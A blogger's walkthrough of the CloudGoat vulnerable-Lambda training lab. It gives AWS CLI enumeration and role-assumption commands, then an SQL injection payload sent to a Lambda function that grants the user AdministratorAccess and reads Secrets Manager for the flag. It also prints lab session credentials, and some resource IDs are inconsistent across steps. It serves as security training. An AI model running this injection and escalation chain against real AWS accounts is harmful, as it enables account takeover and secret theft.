Sitemap
Kapil Verma

Kapil Verma

Security researcher, Blogger, Bug Bounty hunter

Cloud Goat- Vulnerable Lambda Walkthrough

5 min readMar 18, 2026
Press enter or click to view image in full size
  1. Vulnerable Lambda

Few commands for enumeration of the user that you already have access to.

aws sts get-caller-identity --profile bilbo
aws iam list-users --profile bilbo
aws iam list-groups-for-user --user-name cg-bilbo-cgido728vgzctb --profile bilbo
aws iam list-attached-user-policies --user-name cg-bilbo-cgido728vgzctb --profile bilbo
aws iam list-user-policies --user-name cg-bilbo-cgido728vgzctb
aws iam get-user-policy --policy-name cg-bilbo-cgido728vgzctb-standard-user-assumer --user-name cg-bilbo-cgido728vgzctb
aws iam get-user-policy --policy-name cg-bilbo-cgido728vgzctb-standard-user-assumer --user-name cg-bilbo-cgido728vgzctb
{
"UserName": "cg-bilbo-cgido728vgzctb",
"PolicyName": "cg-bilbo-cgido728vgzctb-standard-user-assumer",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
"Sid": ""
},
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*",
"Sid": ""
}
]
}
}
Press enter or click to view image in full size

Since bilbo has “sts:AssumeRole” for ““Resource”: “arn:aws:iam::940877411605:role/cg-lambda-invoker*””,

and so we can check out which permissions the “cg-lambda-invoker” role has with the techniques described above.

Let’s see

Command:  aws iam list-roles --profile bilbo | grep cg-lambda-invoker

Output:
"RoleName": "cg-lambda-invoker-cgido728vgzctb",
"Arn": "arn:aws:iam::662465844325:role/cg-lambda-invoker-cgido728vgzctb",
aws iam get-role-policy --policy-name lambda-invoker --role-name cg-lambda-invoker-cgidppdgen56gy
{
"RoleName": "cg-lambda-invoker-cgidppdgen56gy",
"PolicyName": "lambda-invoker",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"lambda:ListFunctionEventInvokeConfigs",
"lambda:InvokeFunction",
"lambda:ListTags",
"lambda:GetFunction",
"lambda:GetPolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:lambda:us-east-1:662465844325:function:cgidppdgen56gy-policy_applier_lambda1"
},
{
"Action": [
"lambda:ListFunctions",
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
}

Role Assume:

Assume the Role (The Pivot) Now, tell AWS: “I am Bilbo, but I want the temporary keys for the Lambda Invoker role.”

aws sts assume-role --role-arn arn:aws:iam::662465844325:role/cg-lambda-invoker-cgido728vgzctb --role-session-name "PivotingToLambda" --profile bilbo
{
"Credentials": {
"AccessKeyId": "ASIAZUPQKSRSXQLXJIUD",
"SecretAccessKey": "gUjxpyzmfgJ4/lBXOfheYropkvsELCl/sb3NN2a6",
"SessionToken": "FwoGZXIvYXdzEJL//////////wEaDOW+LNh8fkON290vIiK0AQruU08+cHLKiAfEfssn80eOdSH02CdF54ovlwD6KGL0v+gip6D2LWrwaHBfaD9QavBnbVKzCgo+hqGhEVsLnfrAXyq4ATyLvjuXrp4cPHdmKMm5sAR2wvA+4Z/sv4OtU0b4IbyGXjqaqgb9I5bNKjxJAq+eZqrUTiVLpnQ97QeMv5fHJjVVdGol5brDBCNh07nmxCBfH5B+aJZTeOPHhwpWQvMIpRALoTeDA11vWo4wNyrazCjTnMHNBjIthvVF4x0ZEj6FjUP3gfP6A3sp3CQsH9guDC6WCJitv9MG56RnOoqvUXlpm3G4",
"Expiration": "2026-03-10T18:01:07+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAZUPQKSRSSXKVXGN2E:PivotingToLambda",
"Arn": "arn:aws:sts::662465844325:assumed-role/cg-lambda-invoker-cgido728vgzctb/PivotingToLambda"
}
}
Press enter or click to view image in full size

Create a New Profile for the Role You can’t just run commands as the role yet. You need to save those keys as a new profile so you can use them. Run these on your Mac:

aws configure --profile lambda_invoker

Verify Your New Identity

aws sts get-caller-identity --profile lambda_invoker
Apple@192 tool % aws sts get-caller-identity --profile lambda_invoker
{
"UserId": "AROAZUPQKSRSSXKVXGN2E:PivotingToLambda",
"Account": "662465844325",
"Arn": "arn:aws:sts::662465844325:assumed-role/cg-lambda-invoker-cgido728vgzctb/PivotingToLambda"
}
Press enter or click to view image in full size

Now that you are the lambda_invoker, you check what you can do with Lambda:

aws lambda list-functions --profile lambda_invoker
{
"Functions": [
{
"FunctionName": "cgido728vgzctb-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:662465844325:function:cgido728vgzctb-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::662465844325:role/cgido728vgzctb-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 1554692,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-03-10T15:48:59.966+0000",
"CodeSha256": "jiFVUPnvtCzGuv9QT5pmEIuOloNiGP0aLQLXtLvl9Hs=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "af8b5e98-b81f-4df5-ac50-4c3657e17b8f",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/cgido728vgzctb-policy_applier_lambda1"
}
}
]
}

After you have that function name, you want to see the code to find the vulnerability. Run this command:

# Replace <FUNCTION_NAME> with the one you just found
#<FUNCTION_NAME> cgido728vgzctb-policy_applier_lambda1
aws lambda get-function --function-name cgido728vgzctb-policy_applier_lambda1 --profile lambda_invoker{
"Configuration": {
"FunctionName": "cgido728vgzctb-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:662465844325:function:cgido728vgzctb-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::662465844325:role/cgido728vgzctb-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 1554692,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-03-10T15:48:59.966+0000",
"CodeSha256": "jiFVUPnvtCzGuv9QT5pmEIuOloNiGP0aLQLXtLvl9Hs=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "af8b5e98-b81f-4df5-ac50-4c3657e17b8f",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:9af3f4666bc1f0e6c0b9b32f72a8b726527619489199508620f31da683503c4a"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/cgido728vgzctb-policy_applier_lambda1"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "<https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/662465844325/cgido728vgzctb-policy_applier_lambda1-ddad0182-687c-4235-8f9d-0c4ff7889db0?versionId=INfyjz26Vj_jV.RvXvMeHye0ik09QTHF&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEHgaCXVzLWVhc3QtMSJHMEUCIQDB02ptxIeVpLLmRViVP8q8zDsaHcUO6DjrR2CTMbZlkAIgau17VP16TowUOVm%2BBRZhMYxswb5BXFf9pOmcHoHhvyYqiwIIQRAAGgw3NDk2Nzg5MDI4MzkiDDJhwq7c58EBxm6bLyroAbhhw3mz5Irk0T3woJTVmGsz%2BDQl1L%2BOeMLE%2Bdb3uGVcVUjSDQM8rl75yHekXPMlOLL472zke%2BUIszIblUX3UUVMUnO3n8Bvw1MzCJJEqsgXIkDMghtgE8DkuEcGCWvllWT7czY9UKdiywG0GBIVj7bvplBtbyLJux15UBVVcLAKZc3XlqaTz60t37hsTYhcvVXihm0t70bdVx3d0afF9sxBp0SmuS6ftlgpC2RyNIdpaax%2Bb95PuFDRuW6%2FasncHbRSDER5yYU7L4r%2BOhRiopdFZo7DpnbsxGEuhWnAg4Vn%2FE0GxqgJrVwwmJO%2FzQY6jQFAytav0Ub2GTukDQLaS48oT7ioYKF5kSrwAvWDdCj78hFB08j1a9JVW%2FYBNV1s6PiirG3wKmlGjV%2F1SYqftAR7TrI8%2BBmWCdKXOItt5BpWpfTwN2ZIMBwbAo2nDcrE2UqprnEw9xHfPs6GVrgZJ8iLsrcWcRVzHRqp%2Fu4V3X7b%2FPpQ48toVHiNIvU6XBU%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260310T173216Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3Q63YWXKT%2F20260310%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=df19d1948d94be4b87666ed454135ccc919b115d8414924441b9008748902ee0>"
},
"Tags": {
"Name": "cg-cgido728vgzctb",
"Scenario": "vulnerable-lambda",
"Stack": "CloudGoat"
}
}

Through the above s3 we get source code, from where we get main.py file where it tells sqli is happening.

Get Kapil Verma’s stories in your inbox

Join Medium for free to get updates from this writer.

Checking if the function is getting invoked or not?

aws lambda invoke --function-name cgidppdgen56gy-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"proxy_variable": "admin'\\'' OR 1=1 --"}' --profile lambda_invoker output.json
{
"StatusCode": 200,
"FunctionError": "Unhandled",
"ExecutedVersion": "$LATEST"
}
Press enter or click to view image in full size

Let’s check the policies form the my_database.db file in the source code:

sqlite3 my_database.db 'select * from policies;'
AmazonSNSReadOnlyAccess|True
AmazonRDSReadOnlyAccess|True
AWSLambda_ReadOnlyAccess|True
AmazonS3ReadOnlyAccess|True
AmazonGlacierReadOnlyAccess|True
AmazonRoute53DomainsReadOnlyAccess|True
AdministratorAccess|False
Press enter or click to view image in full size
Press enter or click to view image in full size

Privilege Escalation

In this case, we could prematurely terminate the following SQL statement because the value of policy is attacker-controlled, removing the requirement of public = 'True':

From the main.py we get the below line of code

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"`

Let’s invoke that function with our sqli payload to grant admin access.

AdministratorAccess’\’’; — “

aws lambda invoke --function-name cgidppdgen56gy-policy_applier_lambda1 --payload '{"policy_names":["AdministratorAccess'\\''; --"],"user_name":"cg-bilbo-cgidppdgen56gy"}' --cli-binary-format raw-in-base64-out response.json --region us-east-1
Press enter or click to view image in full size

Let’s read that response.json file

Press enter or click to view image in full size

Checking if our user has got the admin privs or not:

aws iam list-attached-user-policies --user-name cg-bilbo-cgidppdgen56gy
Press enter or click to view image in full size

Getting the AWS secrets:

aws secretsmanager list-secrets
Press enter or click to view image in full size

Getting the flag, id to get from the ARN above:

aws secretsmanager get-secret-value --secret-id cgidppdgen56gy-final_flag
Press enter or click to view image in full size

--

--

Kapil Verma
Kapil Verma

Written by Kapil Verma

Security researcher, Blogger, Bug Bounty hunter